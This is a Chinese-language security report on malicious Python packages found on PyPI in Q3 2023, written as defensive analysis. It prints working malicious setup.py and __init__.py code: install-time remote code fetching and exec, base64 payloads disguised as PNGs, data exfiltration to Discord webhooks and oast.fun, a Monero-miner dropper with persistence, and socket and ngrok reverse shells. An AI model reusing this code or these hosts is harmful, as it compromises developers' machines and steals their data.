2023年第三季度,天问Python供应链威胁监测模块共捕捉到320个恶意包。在对某一家族的恶意包分析中,我们发现攻击者会不断尝试更新迭代攻击方式来规避安全检测,其恶意代码逐渐趋同于正常代码。这使得恶意代码监测的难度不断提升,给供应链安全带来了巨大的挑战。
天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,”天问“分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。
1. 网络请求
相关恶意特征: requests.get
, socket.socket
,urllib.request.urlopen
这种恶意包根据网络请求的目的可以分为三类,信息回传、恶意载荷下载和反向Shell。
1.1 信息回传
相关恶意特征: socket.gethostname
, os.getcwd
, getpass.getuser
,request.get
, platform.release
, platform.system
,https://api.ipify.org
, http://ifconfig.me
, https://geolocation-db.com/jsonp/{ip}
,socket.gethostname
我们在Q3的监测中,发现了一个恶意包家族,这些恶意包在setup.py
中设置的author
和author_email
完全一致。通过对这个恶意家族的演变分析,我们发现攻击者也在不断升级尝试不同的攻击手法,来逃避安全检测。
discord-api-requests-1.0.0/setup.py
from setuptools import setup
from setuptools.command.install import install
import requests
class CustomInstall(install):
def run(self):
requests.post(
url="https://discord.com/api/webhooks/1149195944424906772/X4IehrY8fcrdKYgHuGN8dY9xK9hYcZ1J6suYIwS-0HMdNSbYe27FZqpCUjeUMd-7voQY",
json={
"content":"Alguien ha instalado el paquete."
}
)
install.run(self)
setup(
...
author='Benjamin Rodriguez',
author_email='benjaminrodriguezshhh@proton.me',
...
)
这是我们发现的这个恶意家族的第一个包,可以看到它向一个discord账号回传了一个字符串”Alguien ha instalado el paquete.”。这是一句西班牙语,含义是”有人已经安装了该软件包”,由此可以推断这是攻击者的一个测试包。
当天晚些时候,该攻击者又发布了另外一个恶意包。
simple-discord-api-1.0.1/setup.py
from setuptools import setup
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
import requests
exec(requests.get("http://wpp-api-vrv3.onrender.com/api/steal/1140884481671188581/", headers={"auth":"&&CD&&ON"}).json()['code'])
install.run(self)
setup(
...
author='Benjamin Rodriguez',
author_email='benjaminrodriguezshhh@proton.me',
...
)
从包内的内容,我们可以看到攻击者将恶意代码放在的第三方网站上,通过网络请求的方式获取恶意代码并加载到内存中执行。第三方网站的截图如下所示。
之后,该攻击者将PyPI的账号从benjskk
切换到了benjaprograms
,同时更新了恶意包的内容。将攻击代码变成字符串,写入文件中,然后通过执行文件的方式来发起攻击。这样可以避免静态检测中对于第三方库函数的检测,具体代码如下所示。
discord-simple-api-1.2.1/setup.py
from setuptools import setup
import os
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
install.run(self)
code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')
if code:
exec(code)"""
with open("on.py", "w") as f:
f.write(code)
os.system("python on.py")
setup(
...
author='Benjamin Rodriguez Acosta',
author_email='benjaminrodriguezshhh@proton.me',
...
)
在discord-simple-api-1.3.1
中,攻击者取消了文件写入操作,直接使用exec
执行字符串,实现无文件攻击。
discord-simple-api-1.3.1/setup.py
from setuptools import setup
import os, time
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
import threading
def runxd() -> None:
time.sleep(3)
code = """
import requests
response = requests.get("http://wpp-api-01hw.onrender.com/api/steal/1140884481671188581/", headers={"auth": "&&CD&&ON"})
code = response.json().get('code')
if code: exec(code)"""
exec(code)
install.run(self)
threading.Thread(target=runxd).start()
...
三天后,攻击者又使用bestprogrammer
这个账号发布了新的恶意包urtelib32-1.7.2
,这次攻击者将攻击代码使用base64编码写入一个文件,并将文件伪装成png。从第三方服务器下载到这个伪装png后,会对其解码运行。迷惑性更强,具体代码如下。
urtelib32-1.7.2/setup.py
from setuptools import setup
import os, time, requests
from base64 import b64decode
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
import threading
def runxd() -> None:
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)
exec(b64decode(open("image.png", "rb").read()))
install.run(self)
threading.Thread(target=runxd).start()
setup(
...
author='Pain',
author_email='benjaminrodriguezshhh@proton.me',
...
)
然后,攻击者bestprogrammer
又进一步隐藏了恶意代码,在urllitelib-1.0.1
中,其将恶意代码从setup.py
中移到的urllitelib/post_install.py
中,setup.py
中只保留启动命令,具体代码如下所示。
urllitelib-1.0.1/setup.py
from setuptools import setup
from setuptools.command.install import install
import os
class CustomInstall(install):
def run(self):
install.run(self)
os.system('python urllitelib\\post_install.py')
...
urllibtelib-1.0.1/urllitelib/post_install.py
import requests
import os
import sys
import ctypes
import time
from base64 import b64decode
def main():
if not ctypes.windll.shell32.IsUserAnAdmin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
try:
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)
exec(b64decode(open("image.png", "rb").read()))
except Exception as e:
print(e)
time.sleep(15)
if __name__ == "__main__":
main()
为了进一步隐藏攻击代码,攻击者pyprograms
选择不在安装时执行恶意代码,而是将恶意代码放到模块的__init__.py
文件中,在import过程中执行。同时,其添加了其他正常代码企图干扰检测分析,具体代码如下。
pygraphql32-1.2.0/setup.py
from setuptools import setup
from setuptools.command.install import install
class CustomInstall(install):
def run(self):
install.run(self)
setup(
...
author='Pain',
author_email='benjaminrodriguezshhh@proton.me',
packages=['pygraphql'],
...
)
pygraphql32-1.2.0/pygraphql/__init__.py
import requests, random, time
import requests
import sys
import ctypes, time
from base64 import b64decode
while True:
try:
if not ctypes.windll.shell32.IsUserAnAdmin():
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)
with open(
"image.png",
"wb"
) as file:
file.write(
requests.get(
f"http://wpp-api-01hw.onrender.com/api/images/1140884481671188581/image.png",
headers={"auth":"&&CD&&ON"}
).content
)
exec(b64decode(open("image.png", "rb").read()))
break
except Exception as e:
print(e);time.sleep(5)
class ProxiesObject:
def __init__(
...
...
通过对这个恶意家族的分析,我们不难发现攻击者对于逃避恶意检测的手段在不断迭代更新,而且他们的伪装使得恶意代码与正常代码相差无几。这对于恶意检测分析而言将是一个非常严峻的考验,未来如何能高效准确地分辨这些恶意包将会是非常重要的一个课题。
visumpy-2073.0.0/setup.py
from setuptools import setup
from setuptools.command.install import install
import requests
import socket
import getpass
import os
class CustomInstall(install):
def run(self):
install.run(self)
hostname=socket.gethostname()
cwd = os.getcwd()
username = getpass.getuser()
ploads = {'hostname':hostname,'cwd':cwd,'username':username}
requests.get("https[:]//cj9j06r2vtc0000ayy00gjjwdxayyyyyg.oast.fun",params = ploads) #replace burpcollaborator.net with Interactsh or pipedream
这个恶意包收集了用户主机名和用户名等信息进行了回传。经过分析,回传所使用的网址是通过GitHub一个开源工具interactsh
生成的,其可以将payload内容通过这个网址回传给攻击者。类似的网址还有https://oastify.com/
,其是Burp Suite用于测试web应用安全漏洞的,但被部分攻击者用于接收受害者的相关信息。
信息回传常见网址 oastify.com
,burpcollaborator.net
,pipedream.net
,oast.fun
, https://discord.com/api/webhooks/
1.2 恶意载荷下载
恶意载荷可以是一个恶意文件,也可以是一段代码。这些载荷通常放在第三方文件分享网站,常见的网站列表如下所示:
adv2099m-1.0.0/setup.py
import setuptools
from setuptools.command.install import install
from setuptools.command.develop import develop
import base64
import os
def b64d(base64_code):
base64_bytes = base64_code.encode('ascii')
code_bytes = base64.b64decode(base64_bytes)
code = code_bytes.decode('ascii')
return code
import requests
from zipfile import ZipFile
#C:\Users\PC\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
#C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
#C:\Windows
#url download
url = "https[:]//download1085.mediafire.com/h5t294h9wiggBiOS47OJsrAqRrBavPAoZQwcwB5KIZ1pVBfq8nwg6f5tkwkJBp_-1SgEgF_7Byes35_olhHdHrO80O0ApX_h542P6jxftPccXDAK3U-Qs9bSPv30ozmTTutwK_j1vbrft2sCW4scgeVLHqLGrio4dAPUy_1DuXLOvw/0p52izgv4chgn3c/SystemComponents.zip"
myfile = requests.get(url)
open("SystemComponents.zip", "wb").write(myfile.content)
with ZipFile("SystemComponents.zip", "r") as Zfile:
Zfile.extractall()
os.remove("SystemComponents.zip")
path1 = os.getenv("AppData")
path2 = "\\Microsoft\\Windows\\Start Menu\\Programs\Startup"
os.rename("SystemComponents", path1 + "\\SystemComponents")
f = open("WindowsUpdater.bat", "w+")
f.write("cd " + path1 + """\\SystemComponents
WindowsXr.exe --opencl --cuda -o stratum+ssl://randomxmonero.auto.nicehash.com:443 -u 39GPVHHtZdPGW2H3F1MMgW94KF8hxfsEWU -p x -k --nicehash -a rx/0""")
f.close()
os.rename("WindowsUpdater.bat", path1 + path2 + "\\WindowsUpdater.bat")
...
这个恶意包利用requests
下载了一个zip文件,并将其解压缩移动到了Windows的AppData
目录下。然后,其通过改写WindowsUpdater.bat
实现了系统启动时的自动运行。
pfadver05/setup.py
...
setuptools.setup(
name = "pfadver05",
version = "1.0.0",
...,
packages = setuptools.find_packages(),
py_modules=["adv2099"],
python_requires = ">=2.0",
)
这个恶意包的攻击代码与上面的基本一致,差别在于它将恶意代码从setup.py
文件中移动到了adv2099.py
中,并在setup参数中规定了模块名。这样模块被导入的时候,就会触发攻击。
1.3 反向Shell
相关恶意特征: socket.socket
,/bin/sh
nir-bb-test-0.6
...
import socket,os,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("172[.]190.121.182", 3306))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")
2. base64 payload
相关恶意特征: base64.b64decode
,setuptools.command.install.install
,tempfile.NamedTemporaryFile
pyJwtRequest-1.0.4/setup.py
import base64
import setuptools
from setuptools.command.install import install
code = '''aW...Q0K
'''
class AfterInstall(install):
def run(self):
exec(base64.b64decode(code))
setuptools.setup(
...
)
payload可以是一段代码,也可以是一个二进制文件。这个恶意包中包含了一个反向shell的代码。
import os, socket, subprocess, threading
from urllib.parse import urlparse
url = "2[.]tcp.ngrok.io:16418"
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
def get_ip_from_url(url):
parsed_url = urlparse(url)
hostname = parsed_url.hostname
ip = socket.gethostbyname(hostname)
return ip
print("co")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("2.tcp.ngrok.io", 16418))
p = subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
feur-0.1/setup.py
import base64
import subprocess
import setuptools
from setuptools.command.install import install
import tempfile
code = '''aW1...
'''
code2 ='''TVq...'''
class AfterInstall(install):
def run(self):
decoded_data = base64.b64decode(code2)
with tempfile.NamedTemporaryFile(delete=False) as temp_file:
temp_file.write(decoded_data)
# Exécution du fichier temporaire
process = subprocess.Popen(temp_file.name, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output, error = process.communicate()
这个包中的内容相较于前一个包,添加了一个新的base64字符串code2。这个payload是一个二进制文件,在包安装过程中写入临时文件并执行。
3. 附录(恶意包列表)
- 网络请求
- 信息回传
包名 | 版本 | 作者 | 上传时间 |
---|---|---|---|
visumpy | 2073.0.0 | prasiddha47 | 2023-07-06T09:05:59 |
min-jq | 1.5 | kotko | 2023-07-12T04:30:46 |
diaossama-test2 | 0.0.3 | PypiSecTest | 2023-07-13T09:48:51 |
diaossama-test3 | 0.0.2 | PypiSecTest | 2023-07-14T11:13:10 |
diaossama-test3 | 0.0.3 | PypiSecTest | 2023-07-14T11:28:56 |
diaossama-test3 | 0.0.4 | PypiSecTest | 2023-07-14T11:38:36 |
thanos-gen | 2.1.1 | predator_97x1 | 2023-07-20T10:37:34 |
mypackage-for-demo-purposes | 0.1 | clear-test | 2023-07-27T06:48:24 |
nferx | 1.0.0 | abradabra | 2023-07-27T09:15:31 |
algokit-arc | 10.0.1 | nirajmodi | 2023-08-05T05:07:47 |
dependencyrrr | 1.0.0 | Rooted0x01 | 2023-08-08T04:21:25 |
peloton-client123 | 0.8.10 | y54586b0 | 2023-08-13T22:34:01 |
syns-knox-xss-allwhere | 1.0.0 | Rooted0x01 | 2023-08-13T22:38:30 |
kwxiaodian | 9.1.10 | LkBAUB | 2023-09-03T15:10:39 |
openapi-ba | 9.1.10 | LkBAUB | 2023-09-03T15:40:37 |
dsc-auth | 1.1.1 | index80999357 | 2023-09-03T15:44:52 |
vmc-reporter | 1.99.103 | Pinkyy | 2023-09-06T08:53:02 |
appsec-utils | 1.99.105 | Pinkyy | 2023-09-06T13:04:40 |
appsec-utils | 1.99.106 | Pinkyy | 2023-09-06T15:02:33 |
aisi-od-training | 1.99.106rc1 | Pinkyy | 2023-09-07T09:49:42 |
discord-api-requests | 1.0.0 | benjskk | 2023-09-07T04:15:52 |
simple-discord-api.py | 1.0.0 | benjskk | 2023-09-07T20:08:41 |
simple-discord-api.py | 1.0.1 | benjskk | 2023-09-07T20:15:25 |
simple-api.py | 1.0.2 | johnprogrammer | 2023-09-07T20:35:46 |
discord-simple-api.py | 1.2.1 | benjaprograms | 2023-09-07T22:05:35 |
discord-simple-api.py | 1.3.0 | benjaprograms | 2023-09-07T22:09:12 |
discord-simple-api.py | 1.3.1 | benjaprograms | 2023-09-07T22:12:41 |
rtlibb32 | 1.2.1 | benjashh | 2023-09-08T00:26:21 |
urtelib32 | 1.7.2 | bestprogrammer | 2023-09-10T01:06:45 |
urtelib32 | 1.7.3 | bestprogrammer | 2023-09-10T01:10:51 |
urtelib32 | 1.7.5 | bestprogrammer | 2023-09-10T01:19:28 |
urllitelib | 1.0.1 | bestprogrammer | 2023-09-10T02:33:10 |
pygraphql32 | 1.2.0 | pyprograms | 2023-09-10T18:50:15 |
litepygraphql | 1.2.0 | pyprograms | 2023-09-10T19:12:05 |
pygraphql32 | 1.2.1 | pyprograms | 2023-09-10T19:18:23 |
graphql32 | 1.7.3 | johnxx | 2023-09-11T01:23:48 |
graphql32 | 1.8.0 | johnxx | 2023-09-11T02:18:05 |
secureit-a-tope | 1.2 | zer0ulsalamandy | 2023-09-15T08:32:01 |
secureit-a-topev1 | 1.2 | zer0ulsalamandy | 2023-09-15T08:33:28 |
secureit-a-topev2 | 1.2 | zer0ulsalamandy | 2023-09-15T08:36:15 |
secureit-a-topev3 | 1.2 | zer0ulsalamandy | 2023-09-15T08:38:22 |
secureit-a-topev3 | 99.99 | zer0ulsalamandy | 2023-09-15T12:34:02 |
secureit-a-topev4 | 99.99 | zer0ulsalamandy | 2023-09-15T12:35:30 |
pytarlooko | 1.0.0 | vcdhgfg | 2023-09-23T20:53:42 |
- 恶意载荷下载
包名 | 版本 | 作者 | 上传时间 |
---|---|---|---|
adv2099m | 1.0.0 | adv2099 | 2023-07-02T16:49:27 |
adv2099m2 | 1.0.0 | adv2099 | 2023-07-02T16:58:52 |
adv2099m3 | 1.0.0 | adv2099 | 2023-07-02T17:02:29 |
adv2099m4 | 1.0.0 | miguel2099 | 2023-07-02T17:14:02 |
adv2099m5 | 1.0.0 | miguel2099 | 2023-07-02T17:17:51 |
adv2099m6 | 1.0.0 | miguel2099 | 2023-07-02T17:21:26 |
adv2099m7 | 1.0.0 | adv2099n2 | 2023-07-02T19:06:30 |
supra-style | 0.6 | Oxygen1337 | 2023-07-04T02:19:16 |
supra-style | 0.7 | Oxygen1337 | 2023-07-04T11:10:45 |
urz | 0.1 | SpookyCoder | 2023-07-04T19:49:31 |
juk | 0.1 | SpookyCoder | 2023-07-04T21:08:45 |
tjajsd | 10.33 | Tahg.py | 2023-07-05T15:08:53 |
jas9do1 | 7.72 | Tahg.py | 2023-07-05T15:12:38 |
18923aa | 4.96 | Tahg.py | 2023-07-05T15:13:32 |
pfadver05 | 1.0.0 | pfadver05 | 2023-07-06T18:20:45 |
servantcord | 1.0.0 | servant666 | 2023-07-07T12:22:11 |
servantcord | 1.0.1 | servant666 | 2023-07-07T12:51:10 |
servantcord | 1.0.2 | servant666 | 2023-07-07T12:56:38 |
servantcord | 1.0.3 | servant666 | 2023-07-07T12:59:20 |
servantcord | 1.0.4 | servant666 | 2023-07-07T13:02:26 |
servantcord | 1.0.6 | servant666 | 2023-07-07T13:05:35 |
servantcord | 1.0.8 | servant666 | 2023-07-07T13:16:53 |
servantcord | 1.0.9 | servant666 | 2023-07-07T13:21:35 |
servantcordd | 1.0.9 | servant666 | 2023-07-07T14:10:00 |
servandcord | 1.0.9 | servant666 | 2023-07-07T15:10:24 |
testpackageforyoutube | 1.0.0 | killskids | 2023-07-14T10:42:43 |
killskids-auth | 1.0.5 | killskids | 2023-07-14T11:34:01 |
killskids-auth | 2.0.0 | killskids | 2023-07-14T12:33:28 |
pyobfuscater | 1.0.0 | killskids | 2023-07-17T17:59:55 |
pyobfuscater | 1.0.1 | killskids | 2023-07-17T18:05:19 |
pyobfuscater | 1.0.3 | killskids | 2023-07-17T18:11:54 |
pyobfuscater | 1.0.7 | killskids | 2023-07-17T18:16:39 |
pyobfuscater | 1.0.8 | killskids | 2023-07-17T18:19:14 |
pyobfuscater | 1.1.0 | killskids | 2023-07-17T18:25:55 |
pyobfuscater | 1.2.1 | killskids | 2023-07-17T18:29:53 |
wessycord | 1.2.4 | killskids | 2023-07-17T18:37:21 |
wessycord | 1.6.1 | killskids | 2023-07-17T18:46:08 |
nagie | 1.1.0 | DreamyOak | 2023-07-19T13:35:21 |
nagie | 1.13.0 | DreamyOak | 2023-07-19T13:39:37 |
nagie | 2.32.0 | DreamyOak | 2023-07-19T13:46:35 |
nagiepy | 3.422.0 | nagie | 2023-07-22T10:47:00 |
nageir | 0.1.2 | nagie | 2023-07-22T10:55:47 |
dsicobotuser | 0.0.1 | True_Hell | 2023-07-20T06:27:42 |
dicuser | 0.0.1 | True_Hell | 2023-07-20T06:36:22 |
dicuser | 0.0.2 | True_Hell | 2023-07-20T06:45:13 |
dicuser | 0.0.3 | True_Hell | 2023-07-20T06:58:52 |
dicuser | 0.0.4 | True_Hell | 2023-07-20T07:12:37 |
dicuser | 0.0.5 | True_Hell | 2023-07-20T07:22:13 |
diuser | 0.0.1 | True_Hell | 2023-07-20T07:31:17 |
genuser | 0.0.1 | True_Hell | 2023-07-20T15:28:23 |
duck-test-pkg | 1.99.0 | pypi_sw_training | 2023-07-24T18:59:34 |
duck-test-pkg | 1.99.0 | pypi_sw_training | 2023-07-24T18:59:36 |
splite5 | 0.0.1 | badsidev | 2023-07-25T11:23:09 |
splite5 | 0.0.1 | badsidev | 2023-07-25T11:23:10 |
evil-pip | 0.0.1 | 0xe2d0 | 2023-08-23T19:47:01 |
evil-pip | 0.1.0 | 0xe2d0 | 2023-08-23T20:00:56 |
- 反向Shell
包名 | 版本 | 作者 | 上传时间 |
---|---|---|---|
nir-bb-test | 0.6 | niroh | 2023-07-03T14:51:55 |
2. base64 payload
包名 | 版本 | 作者 | 上传时间 |
---|---|---|---|
graphdata | 0.9.0 | j_ackerman | 2023-07-01T09:20:32 |
pyJwtRequest | 1.0.4 | ErwannTestOmg | 2023-07-01T14:44:02 |
EvannLeGoat | 1.0.4 | ErwannCacaOmg | 2023-07-01T15:38:30 |
SwiftyPy | 2.1 | SwiftFan | 2023-07-01T16:40:39 |
SwiftyPy | 3.1 | SwiftFan | 2023-07-01T22:47:45 |
SwiftyPy | 4.1 | SwiftFan | 2023-07-01T22:50:24 |
SwiftyPy | 5.1 | SwiftFan | 2023-07-02T00:46:56 |
SwiftyPy | 7.1 | SwiftFan | 2023-07-02T00:56:54 |
SwiftyPy | 8.1 | SwiftFan | 2023-07-02T01:03:18 |
SwiftyPy | 8.2 | SwiftFan | 2023-07-02T01:06:59 |
requests-toolbelt-2 | 0.0.0 | nexmo | 2023-07-20T02:02:44 |
requests-toolbelt-2 | 0.0.0 | nexmo | 2023-07-20T02:02:45 |
requests-toolbelt-v2 | 0.0.0 | jrich84 | 2023-07-20T02:09:25 |
requests-toolbelt-v2 | 0.0.0 | jrich84 | 2023-07-20T02:09:26 |
requests-toolbelt-v2 | 0.0.1 | jrich84 | 2023-07-20T02:12:47 |
requests-toolbelt-v2 | 0.0.1 | jrich84 | 2023-07-20T02:12:49 |
osinfopkg | 0.0.3 | marianacamelia | 2023-07-19T07:54:17 |
osinfopkg | 0.0.3 | marianacamelia | 2023-07-19T07:54:19 |
osinfopkg | 1.0.2 | marianacamelia | 2023-07-24T06:26:57 |
osinfopkg | 1.0.2 | marianacamelia | 2023-07-24T06:26:59 |
osinfopkg | 1.0.3 | marianacamelia | 2023-07-24T06:58:55 |
osinfopkg | 1.0.3 | marianacamelia | 2023-07-24T06:58:57 |
osinfopkg | 1.0.4 | marianacamelia | 2023-07-24T07:19:32 |
osinfopkg | 1.0.4 | marianacamelia | 2023-07-24T07:19:33 |
VMConnect | 1.1.7 | hushki502 | 2023-07-28T02:38:30 |
VMConnect | 1.1.7 | hushki502 | 2023-07-28T02:38:32 |
this-package-is-a-test-of-starjacking | 1.0.0 | allegrep | 2023-09-11T15:48:47 |
pystob | 1.0.0 | Hellka | 2023-09-17T11:12:51 |
pylioner | 1.0.0 | Histoll | 2023-09-17T21:23:42 |
pystallerer | 1.0.0 | J_nky | 2023-09-22T18:49:22 |
pyktrkatoo | 1.0.0 | J_nky | 2023-09-23T17:31:57 |